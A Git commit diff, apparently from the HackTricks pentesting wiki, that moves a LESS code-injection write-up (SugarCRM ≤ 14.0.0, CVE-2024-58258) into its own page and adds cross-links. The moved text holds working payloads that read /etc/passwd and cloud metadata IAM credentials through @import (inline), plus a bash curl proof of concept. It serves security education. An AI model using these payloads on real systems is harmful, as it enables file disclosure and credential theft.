Skip to content

Commit 552cc55

Browse files
committed
change less code injection page
1 parent 31c1f8d commit 552cc55

File tree

6 files changed

+81
-78
lines changed

6 files changed

+81
-78
lines changed

src/README.md

Lines changed: 0 additions & 15 deletions
Original file line numberDiff line numberDiff line change
@@ -163,21 +163,6 @@ https://www.youtube.com/watch?v=Zq2JycGDCPM
163163

164164
---
165165

166-
### [Venacus](https://venacus.com/?utm_medium=link&utm_source=hacktricks&utm_campaign=spons)
167-
168-
<figure><img src="images/venacus-logo.svg" alt="venacus logo"><figcaption></figcaption></figure>
169-
170-
[**Venacus**](https://venacus.com/?utm_medium=link&utm_source=hacktricks&utm_campaign=spons) is a data breach (leak) search engine. \
171-
We provide random string search (like google) over all types of data leaks big and small --not only the big ones-- over data from multiple sources. \
172-
People search, AI search, organization search, API (OpenAPI) access, theHarvester integration, all features a pentester needs.\
173-
**HackTricks continues to be a great learning platform for us all and we're proud to be sponsoring it!**
174-
175-
{{#ref}}
176-
https://venacus.com/?utm_medium=link&utm_source=hacktricks&utm_campaign=spons
177-
{{#endref}}
178-
179-
---
180-
181166
### [CyberHelmets](https://cyberhelmets.com/courses/?ref=hacktricks)
182167

183168
<figure><img src="images/cyberhelmets-logo.png" alt="cyberhelmets logo"><figcaption></figcaption></figure>

src/SUMMARY.md

Lines changed: 1 addition & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -759,6 +759,7 @@
759759
- [JavaScript Execution XS Leak](pentesting-web/xs-search/javascript-execution-xs-leak.md)
760760
- [CSS Injection](pentesting-web/xs-search/css-injection/README.md)
761761
- [CSS Injection Code](pentesting-web/xs-search/css-injection/css-injection-code.md)
762+
- [LESS Code Injection](pentesting-web/xs-search/css-injection/less-code-injection.md)
762763
- [Iframe Traps](pentesting-web/iframe-traps.md)
763764

764765
# ⛈️ Cloud Security

src/pentesting-web/ssrf-server-side-request-forgery/ssrf-vulnerable-platforms.md

Lines changed: 0 additions & 63 deletions
Original file line numberDiff line numberDiff line change
@@ -4,69 +4,6 @@
44

55
Check **[https://blog.assetnote.io/2021/01/13/blind-ssrf-chains/](https://blog.assetnote.io/2021/01/13/blind-ssrf-chains/)**
66

7-
## LESS Code Injection leading to SSRF & Local File Read
8-
9-
LESS is a popular CSS pre-processor that adds variables, mixins, functions and the powerful `@import` directive. During compilation the LESS engine will **fetch the resources referenced in `@import`** statements and embed ("inline") their contents into the resulting CSS when the `(inline)` option is used.
10-
11-
When an application concatenates **user-controlled input** into a string that is later parsed by the LESS compiler, an attacker can **inject arbitrary LESS code**. By abusing `@import (inline)` the attacker can force the server to retrieve:
12-
13-
* Local files via the `file://` protocol (information disclosure / Local File Inclusion).
14-
* Remote resources on internal networks or cloud metadata services (SSRF).
15-
16-
This technique has been seen in real-world products such as **SugarCRM ≤ 14.0.0** (`/rest/v10/css/preview` endpoint).
17-
18-
### Exploitation
19-
20-
1. Identify a parameter that is directly embedded inside a stylesheet string processed by the LESS engine (e.g. `?lm=` in SugarCRM).
21-
2. Close the current statement and inject new directives. The most common primitives are:
22-
* `;` – terminates the previous declaration.
23-
* `}` – closes the previous block (if required).
24-
3. Use `@import (inline) '<URL>';` to read arbitrary resources.
25-
4. Optionally inject a **marker** (`data:` URI) after the import to ease extraction of the fetched content from the compiled CSS.
26-
27-
#### Local File Read
28-
29-
```
30-
1; @import (inline) 'file:///etc/passwd';
31-
@import (inline) 'data:text/plain,@@END@@'; //
32-
```
33-
34-
The contents of `/etc/passwd` will appear in the HTTP response just before the `@@END@@` marker.
35-
36-
#### SSRF – Cloud Metadata
37-
38-
```
39-
1; @import (inline) "http://169.254.169.254/latest/meta-data/iam/security-credentials/";
40-
@import (inline) 'data:text/plain,@@END@@'; //
41-
```
42-
43-
#### Automated PoC (SugarCRM example)
44-
45-
```bash
46-
#!/usr/bin/env bash
47-
# Usage: ./exploit.sh http://target/sugarcrm/ /etc/passwd
48-
49-
TARGET="$1" # Base URL of SugarCRM instance
50-
RESOURCE="$2" # file:// path or URL to fetch
51-
52-
INJ=$(python -c "import urllib.parse,sys;print(urllib.parse.quote_plus(\"1; @import (inline) '$RESOURCE'; @import (inline) 'data:text/plain,@@END@@';//\"))")
53-
54-
curl -sk "${TARGET}rest/v10/css/preview?baseUrl=1&lm=${INJ}" | \
55-
sed -n 's/.*@@END@@\(.*\)/\1/p'
56-
```
57-
58-
### Real-World Cases
59-
60-
| Product | Vulnerable Endpoint | Impact |
61-
|---------|--------------------|--------|
62-
| SugarCRM ≤ 14.0.0 | `/rest/v10/css/preview?lm=` | Unauthenticated SSRF & local file read |
63-
64-
### References
65-
66-
* [SugarCRM ≤ 14.0.0 (css/preview) LESS Code Injection Vulnerability](https://karmainsecurity.com/KIS-2025-04)
67-
* [SugarCRM Security Advisory SA-2024-059](https://support.sugarcrm.com/resources/security/sugarcrm-sa-2024-059/)
68-
* [CVE-2024-58258](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-58258)
69-
707
{{#include ../../banners/hacktricks-training.md}}
718

729

src/pentesting-web/ssti-server-side-template-injection/README.md

Lines changed: 10 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -1094,6 +1094,16 @@ func (p Person) Secret (test string) string {
10941094
- [https://blog.takemyhand.xyz/2020/06/ssti-breaking-gos-template-engine-to](https://blog.takemyhand.xyz/2020/06/ssti-breaking-gos-template-engine-to)
10951095
- [https://www.onsecurity.io/blog/go-ssti-method-research/](https://www.onsecurity.io/blog/go-ssti-method-research/)
10961096

1097+
1098+
### LESS (CSS Preprocessor)
1099+
1100+
LESS is a popular CSS pre-processor that adds variables, mixins, functions and the powerful `@import` directive. During compilation the LESS engine will **fetch the resources referenced in `@import`** statements and embed ("inline") their contents into the resulting CSS when the `(inline)` option is used.
1101+
1102+
{{#ref}}
1103+
../xs-search/css-injection/less-code-injection.md
1104+
{{/ref}}
1105+
1106+
10971107
### More Exploits
10981108

10991109
Check the rest of [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection) for more exploits. Also you can find interesting tags information in [https://github.com/DiogoMRSilva/websitesVulnerableToSSTI](https://github.com/DiogoMRSilva/websitesVulnerableToSSTI)

src/pentesting-web/xs-search/css-injection/README.md

Lines changed: 8 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -4,6 +4,14 @@
44

55
## CSS Injection
66

7+
### LESS Code Injection
8+
9+
LESS is a popular CSS pre-processor that adds variables, mixins, functions and the powerful `@import` directive. During compilation the LESS engine will **fetch the resources referenced in `@import`** statements and embed ("inline") their contents into the resulting CSS when the `(inline)` option is used.
10+
11+
{{#ref}}
12+
less-code-injection.md
13+
{{/ref}}
14+
715
### Attribute Selector
816

917
CSS selectors are crafted to match values of an `input` element's `name` and `value` attributes. If the input element's value attribute starts with a specific character, a predefined external resource is loaded:
Lines changed: 62 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,62 @@
1+
## LESS Code Injection leading to SSRF & Local File Read
2+
3+
LESS is a popular CSS pre-processor that adds variables, mixins, functions and the powerful `@import` directive. During compilation the LESS engine will **fetch the resources referenced in `@import`** statements and embed ("inline") their contents into the resulting CSS when the `(inline)` option is used.
4+
5+
When an application concatenates **user-controlled input** into a string that is later parsed by the LESS compiler, an attacker can **inject arbitrary LESS code**. By abusing `@import (inline)` the attacker can force the server to retrieve:
6+
7+
* Local files via the `file://` protocol (information disclosure / Local File Inclusion).
8+
* Remote resources on internal networks or cloud metadata services (SSRF).
9+
10+
This technique has been seen in real-world products such as **SugarCRM ≤ 14.0.0** (`/rest/v10/css/preview` endpoint).
11+
12+
### Exploitation
13+
14+
1. Identify a parameter that is directly embedded inside a stylesheet string processed by the LESS engine (e.g. `?lm=` in SugarCRM).
15+
2. Close the current statement and inject new directives. The most common primitives are:
16+
* `;` – terminates the previous declaration.
17+
* `}` – closes the previous block (if required).
18+
3. Use `@import (inline) '<URL>';` to read arbitrary resources.
19+
4. Optionally inject a **marker** (`data:` URI) after the import to ease extraction of the fetched content from the compiled CSS.
20+
21+
#### Local File Read
22+
23+
```
24+
1; @import (inline) 'file:///etc/passwd';
25+
@import (inline) 'data:text/plain,@@END@@'; //
26+
```
27+
28+
The contents of `/etc/passwd` will appear in the HTTP response just before the `@@END@@` marker.
29+
30+
#### SSRF – Cloud Metadata
31+
32+
```
33+
1; @import (inline) "http://169.254.169.254/latest/meta-data/iam/security-credentials/";
34+
@import (inline) 'data:text/plain,@@END@@'; //
35+
```
36+
37+
#### Automated PoC (SugarCRM example)
38+
39+
```bash
40+
#!/usr/bin/env bash
41+
# Usage: ./exploit.sh http://target/sugarcrm/ /etc/passwd
42+
43+
TARGET="$1" # Base URL of SugarCRM instance
44+
RESOURCE="$2" # file:// path or URL to fetch
45+
46+
INJ=$(python -c "import urllib.parse,sys;print(urllib.parse.quote_plus(\"1; @import (inline) '$RESOURCE'; @import (inline) 'data:text/plain,@@END@@';//\"))")
47+
48+
curl -sk "${TARGET}rest/v10/css/preview?baseUrl=1&lm=${INJ}" | \
49+
sed -n 's/.*@@END@@\(.*\)/\1/p'
50+
```
51+
52+
### Real-World Cases
53+
54+
| Product | Vulnerable Endpoint | Impact |
55+
|---------|--------------------|--------|
56+
| SugarCRM ≤ 14.0.0 | `/rest/v10/css/preview?lm=` | Unauthenticated SSRF & local file read |
57+
58+
### References
59+
60+
* [SugarCRM ≤ 14.0.0 (css/preview) LESS Code Injection Vulnerability](https://karmainsecurity.com/KIS-2025-04)
61+
* [SugarCRM Security Advisory SA-2024-059](https://support.sugarcrm.com/resources/security/sugarcrm-sa-2024-059/)
62+
* [CVE-2024-58258](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-58258)

0 commit comments

Comments
 (0)